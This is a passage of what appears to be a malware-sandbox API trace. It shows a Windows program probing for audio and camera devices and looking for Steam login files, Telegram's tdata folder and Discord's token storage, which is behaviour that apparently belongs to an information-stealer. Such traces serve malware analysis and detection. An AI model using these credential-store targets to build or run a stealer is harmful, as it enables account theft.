[7]=0x1)), ppvObject=0x1b0bccb0 | out: ppvObject=0x1b0bccb0*=0x1d35bd00) returned 0x0 [0184.905] IUnknown:AddRef (This=0x1d35bd00) returned 0x4 [0184.905] IUnknown:Release (This=0x1d35bd00) returned 0x3 [0184.905] IUnknown:Release (This=0x1d35bd00) returned 0x2 [0184.906] IUnknown:Release (This=0x1b3bd480) returned 0x2 [0184.906] SysStringLen (param_1=0x0) returned 0x0 [0184.906] IEnumWbemClassObject:Reset (This=0x1d35bd00) returned 0x0 [0185.565] CoTaskMemAlloc (cb=0x8) returned 0x1b32aeb0 [0185.565] IEnumWbemClassObject:Next (in: This=0x1d35bd00, lTimeout=-1, uCount=0x1, apObjects=0x1b32aeb0, puReturned=0x270d260 | out: apObjects=0x1b32aeb0*=0x0, puReturned=0x270d260*=0x0) returned 0x1 [0207.138] CoTaskMemFree (pv=0x1b32aeb0) [0207.145] CoGetContextToken (in: pToken=0x1b0bd030 | out: pToken=0x1b0bd030) returned 0x0 [0207.146] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x1 [0207.146] IUnknown:Release (This=0x1d35bd00) returned 0x0 [0207.345] waveInGetNumDevs () returned 0x1 [0208.018] waveInGetDevCapsW (in: uDeviceID=0x0, pwic=0x1b0bd2a8, cbwic=0x94 | out: pwic=0x1b0bd2a8) returned 0x0 [0208.082] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bd298 | out: phkResult=0x1b0bd298*=0x0) returned 0x2 [0208.091] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0ba5f8 | out: phkResult=0x1b0ba5f8*=0x0) returned 0x2 [0208.103] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bd298 | out: phkResult=0x1b0bd298*=0x0) returned 0x2 [0208.105] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0ba5f8 | out: phkResult=0x1b0ba5f8*=0x0) returned 0x2 [0208.118] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bd298 | out: phkResult=0x1b0bd298*=0x0) returned 0x2 [0208.120] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0ba5f8 | out: phkResult=0x1b0ba5f8*=0x0) returned 0x2 [0208.549] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bd0f8 | out: phkResult=0x1b0bd0f8*=0x0) returned 0x2 [0208.552] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0ba458 | out: phkResult=0x1b0ba458*=0x0) returned 0x2 [0208.558] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bd0f8 | out: phkResult=0x1b0bd0f8*=0x0) returned 0x2 [0208.560] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0ba458 | out: phkResult=0x1b0ba458*=0x0) returned 0x2 [0208.571] GetFullPathNameW (in: lpFileName="Unknown\\config\\loginusers.vdf", nBufferLength=0x105, lpBuffer=0x1b0bcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Unknown\\config\\loginusers.vdf", lpFilePart=0x0) returned 0x3b [0208.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bd050) returned 1 [0208.572] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Unknown\\config\\loginusers.vdf" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\unknown\\config\\loginusers.vdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0208.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0b9390) returned 1 [0208.800] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bd148 | out: phkResult=0x1b0bd148*=0x0) returned 0x2 [0208.802] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0ba4a8 | out: phkResult=0x1b0ba4a8*=0x0) returned 0x2 [0208.813] GetFullPathNameW (in: lpFileName="Unknown\\steamapps\\common", nBufferLength=0x105, lpBuffer=0x1b0bcdc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Unknown\\steamapps\\common", lpFilePart=0x0) returned 0x36 [0208.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bd210) returned 1 [0208.877] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Unknown\\steamapps\\common" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\unknown\\steamapps\\common"), fInfoLevelId=0x0, lpFileInformation=0x1b0bd2f0 | out: lpFileInformation=0x1b0bd2f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bd1d0) returned 1 [0208.999] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey="tdesktop.tg\\shell\\open\\command", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bd168 | out: phkResult=0x1b0bd168*=0x0) returned 0x2 [0209.004] GetFullPathNameW (in: lpFileName="\\tdata", nBufferLength=0x105, lpBuffer=0x1b0bccf0, lpFilePart=0x0 | out: lpBuffer="C:\\tdata", lpFilePart=0x0) returned 0x8 [0209.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bd140) returned 1 [0209.004] GetFileAttributesExW (in: lpFileName="C:\\tdata" (normalized: "c:\\tdata"), fInfoLevelId=0x0, lpFileInformation=0x1b0bd220 | out: lpFileInformation=0x1b0bd220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0209.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bd100) returned 1 [0209.010] GetFullPathNameW (in: lpFileName="\\tdata", nBufferLength=0x105, lpBuffer=0x1b0bccf0, lpFilePart=0x0 | out: lpBuffer="C:\\tdata", lpFilePart=0x0) returned 0x8 [0209.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bd140) returned 1 [0209.010] GetFileAttributesExW (in: lpFileName="C:\\tdata" (normalized: "c:\\tdata"), fInfoLevelId=0x0, lpFileInformation=0x1b0bd220 | out: lpFileInformation=0x1b0bd220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0209.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bd100) returned 1 [0209.922] CoTaskMemAlloc (cb=0x20c) returned 0x1b35f740 [0209.929] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1b35f740 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0209.935] CoTaskMemFree (pv=0x1b35f740) [0209.935] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x1b0bcc80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpFilePart=0x0) returned 0x25 [0209.935] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\", nBufferLength=0x105, lpBuffer=0x1b0bce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\", lpFilePart=0x0) returned 0x44 [0209.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bd260) returned 1 [0209.935] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\discord\\local storage\\leveldb"), fInfoLevelId=0x0, lpFileInformation=0x1b0bd340 | out: lpFileInformation=0x1b0bd340*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0209.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bd220) returned 1 [0209.949] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x1b0bd558 | out: UnbiasedTime=0x1b0bd558) returned 1 [0210.267] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x1b0bd558 | out: UnbiasedTime=0x1b0bd558) returned 1 [0210.515] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x1b0bf238 | out: UnbiasedTime=0x1b0bf238) returned 1 [0210.515] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x1b0bf1e8 | out: UnbiasedTime=0x1b0bf1e8) returned 1 [0210.531] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1b0beb28 | out: puCount=0x1b0beb28*=0x2) returned 0x0 [0210.531] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1b0beb20*=0x0, pszText=0x0 | out: puBuffLength=0x1b0beb20*=0xf, pszText=0x0) returned 0x0 [0210.531] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1b0beb20*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0beb20*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0210.532] CoGetObjectContext (in: riid=0x24b2ec8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bea68 | out: ppv=0x1b0bea68*=0x4b0108) returned 0x0 [0210.532] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bea58 | out: pAptType=0x1b0bea58*=1) returned 0x0 [0210.532] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b2ea8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bea60 | out: ppvObject=0x1b0bea60*=0x0) returned 0x80004002 [0210.532] IUnknown:Release (This=0x4b0108) returned 0x1 [0210.533] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0be128 | out: ppv=0x1b0be128*=0x1d496c20) returned 0x0 [0210.534] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496c20, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0be210 | out: ppvObject=0x1b0be210*=0x0) returned 0x80004002 [0210.534] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d496c20, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0be1e8 | out: ppvObject=0x1b0be1e8*=0x1d496c40) returned 0x0 [0210.534] WbemLocator:IUnknown:Release (This=0x1d496c20) returned 0x0 [0210.534] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496c40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bdf90 | out: ppvObject=0x1b0bdf90*=0x1d496c40) returned 0x0 [0210.535] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496c40, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0be020 | out: ppvObject=0x1b0be020*=0x0) returned 0x80004002 [0210.535] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496c40, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bd818 | out: ppvObject=0x1b0bd818*=0x0) returned 0x80004002 [0210.535] WbemLocator:IUnknown:AddRef (This=0x1d496c40) returned 0x3 [0210.535] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496c40, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bd6d8 | out: ppvObject=0x1b0bd6d8*=0x0) returned 0x80004002 [0210.535] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496c40, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bd660 | out: ppvObject=0x1b0bd660*=0x0) returned 0x80004002 [0210.535] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496c40, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bd650 | out: ppvObject=0x1b0bd650*=0x0) returned 0x80004002 [0210.535] CoGetContextToken (in: pToken=0x1b0bd700 | out: pToken=0x1b0bd700) returned 0x0 [0210.535] CoGetContextToken (in: pToken=0x1b0bdb80 | out: pToken=0x1b0bdb80) returned 0x0 [0210.535] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496c40, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bdc40 | out: ppvObject=0x1b0bdc40*=0x0) returned 0x80004002 [0210.535] WbemLocator:IUnknown:Release (This=0x1d496c40) returned 0x2 [0210.536] WbemLocator:IUnknown:Release (This=0x1d496c40) returned 0x1 [0210.536] CoGetContextToken (in: pToken=0x1b0be5c0 | out: pToken=0x1b0be5c0) returned 0x0 [0210.536] CoGetContextToken (in: pToken=0x1b0be4c0 | out: pToken=0x1b0be4c0) returned 0x0 [0210.536] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496c40, riid=0x1b0be620*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b0be5f0 | out: ppvObject=0x1b0be5f0*=0x1d496c40) returned 0x0 [0210.536] WbemLocator:IUnknown:AddRef (This=0x1d496c40) returned 0x3 [0210.536] WbemLocator:IUnknown:Release (This=0x1d496c40) returned 0x2 [0210.536] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1b0be9f8 | out: puCount=0x1b0be9f8*=0x2) returned 0x0 [0210.536] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1b0be9f0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0be9f0*=0xf, pszText=0x0) returned 0x0 [0210.536] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1b0be9f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0be9f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0210.537] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b0be740 | out: ppv=0x1b0be740*=0x1d496c60) returned 0x0 [0210.537] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d496c60, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b0be8b8 | out: ppNamespace=0x1b0be8b8*=0x1d475da0) returned 0x0 [0212.469] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475da0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0be5b8 | out: ppvObject=0x1b0be5b8*=0x1b351340) returned 0x0 [0212.469] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b351340, pProxy=0x1d475da0, pAuthnSvc=0x1b0be680, pAuthzSvc=0x1b0be600, pServerPrincName=0x1b0be628, pAuthnLevel=0x1b0be604, pImpLevel=0x1b0be610, pAuthInfo=0x1b0be638, pCapabilites=0x1b0be614 | out: pAuthnSvc=0x1b0be680*=0xa, pAuthzSvc=0x1b0be600*=0x0, pServerPrincName=0x1b0be628, pAuthnLevel=0x1b0be604*=0x6, pImpLevel=0x1b0be610*=0x2, pAuthInfo=0x1b0be638, pCapabilites=0x1b0be614*=0x1) returned 0x0 [0212.469] WbemLocator:IUnknown:Release (This=0x1b351340) returned 0x1 [0212.469] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475da0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0be550 | out: ppvObject=0x1b0be550*=0x1b351388) returned 0x0 [0212.469] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475da0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0be560 | out: ppvObject=0x1b0be560*=0x1b351340) returned 0x0 [0212.469] WbemLocator:IClientSecurity:SetBlanket (This=0x1b351340, pProxy=0x1d475da0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0212.470] WbemLocator:IUnknown:Release (This=0x1b351340) returned 0x2 [0212.470] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x1 [0212.470] CoTaskMemFree (pv=0x1d471620) [0212.470] WbemLocator:IUnknown:Release (This=0x1d496c60) returned 0x0 [0212.470] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475da0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0be050 | out: ppvObject=0x1b0be050*=0x1b351388) returned 0x0 [0212.470] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0be0e0 | out: ppvObject=0x1b0be0e0*=0x0) returned 0x80004002 [0213.172] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bdd00 | out: ppvObject=0x1b0bdd00*=0x0) returned 0x80004002 [0213.406] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475da0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bd8d8 | out: ppvObject=0x1b0bd8d8*=0x0) returned 0x80004002 [0213.786] WbemLocator:IUnknown:AddRef (This=0x1b351388) returned 0x3 [0213.787] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bd798 | out: ppvObject=0x1b0bd798*=0x0) returned 0x80004002 [0213.787] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bd720 | out: ppvObject=0x1b0bd720*=0x0) returned 0x80004002 [0213.787] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bd710 | out: ppvObject=0x1b0bd710*=0x1b351268) returned 0x0 [0213.787] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351268, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bd738 | out: pCid=0x1b0bd738*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0213.787] WbemLocator:IUnknown:Release (This=0x1b351268) returned 0x3 [0213.787] CoGetContextToken (in: pToken=0x1b0bd7c0 | out: pToken=0x1b0bd7c0) returned 0x0 [0213.787] CoGetContextToken (in: pToken=0x1b0bdc40 | out: pToken=0x1b0bdc40) returned 0x0 [0213.787] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bdd00 | out: ppvObject=0x1b0bdd00*=0x1b351350) returned 0x0 [0213.787] WbemLocator:IRpcOptions:Query (in: This=0x1b351350, pPrx=0x1b351388, dwProperty=2, pdwValue=0x1b0bdcf0 | out: pdwValue=0x1b0bdcf0) returned 0x80004002 [0213.787] WbemLocator:IUnknown:Release (This=0x1b351350) returned 0x3 [0213.787] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x2 [0213.788] CoGetContextToken (in: pToken=0x1b0be300 | out: pToken=0x1b0be300) returned 0x0 [0213.788] CoGetContextToken (in: pToken=0x1b0be200 | out: pToken=0x1b0be200) returned 0x0 [0213.788] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x1b0be360*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b0be330 | out: ppvObject=0x1b0be330*=0x1d475da0) returned 0x0 [0213.788] WbemLocator:IUnknown:AddRef (This=0x1d475da0) returned 0x4 [0213.788] WbemLocator:IUnknown:Release (This=0x1d475da0) returned 0x3 [0213.788] WbemLocator:IUnknown:Release (This=0x1d475da0) returned 0x2 [0213.788] SysStringLen (param_1=0x0) returned 0x0 [0213.788] CoGetContextToken (in: pToken=0x1b0be430 | out: pToken=0x1b0be430) returned 0x0 [0213.788] WbemLocator:IUnknown:AddRef (This=0x1b351388) returned 0x3 [0213.788] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0be430 | out: ppvObject=0x1b0be430*=0x1b351388) returned 0x0 [0213.788] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x3 [0213.788] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x2 [0213.788] CoGetContextToken (in: pToken=0x1b0be500 | out: pToken=0x1b0be500) returned 0x0 [0213.788] WbemLocator:IUnknown:AddRef (This=0x1d475da0) returned 0x3 [0213.789] IWbemServices:ExecQuery (in: This=0x1d475da0, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')", lFlags=16, pCtx=0x0, ppEnum=0x1b0bea08 | out: ppEnum=0x1b0bea08*=0x1d35bd00) returned 0x0 [0214.202] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0be678 | out: ppvObject=0x1b0be678*=0x1d35bd08) returned 0x0 [0214.202] IClientSecurity:QueryBlanket (in: This=0x1d35bd08, pProxy=0x1d35bd00, pAuthnSvc=0x1b0be740, pAuthzSvc=0x1b0be6c0, pServerPrincName=0x1b0be6e8, pAuthnLevel=0x1b0be6c4, pImpLevel=0x1b0be6d0, pAuthInfo=0x1b0be6f8, pCapabilites=0x1b0be6d4 | out: 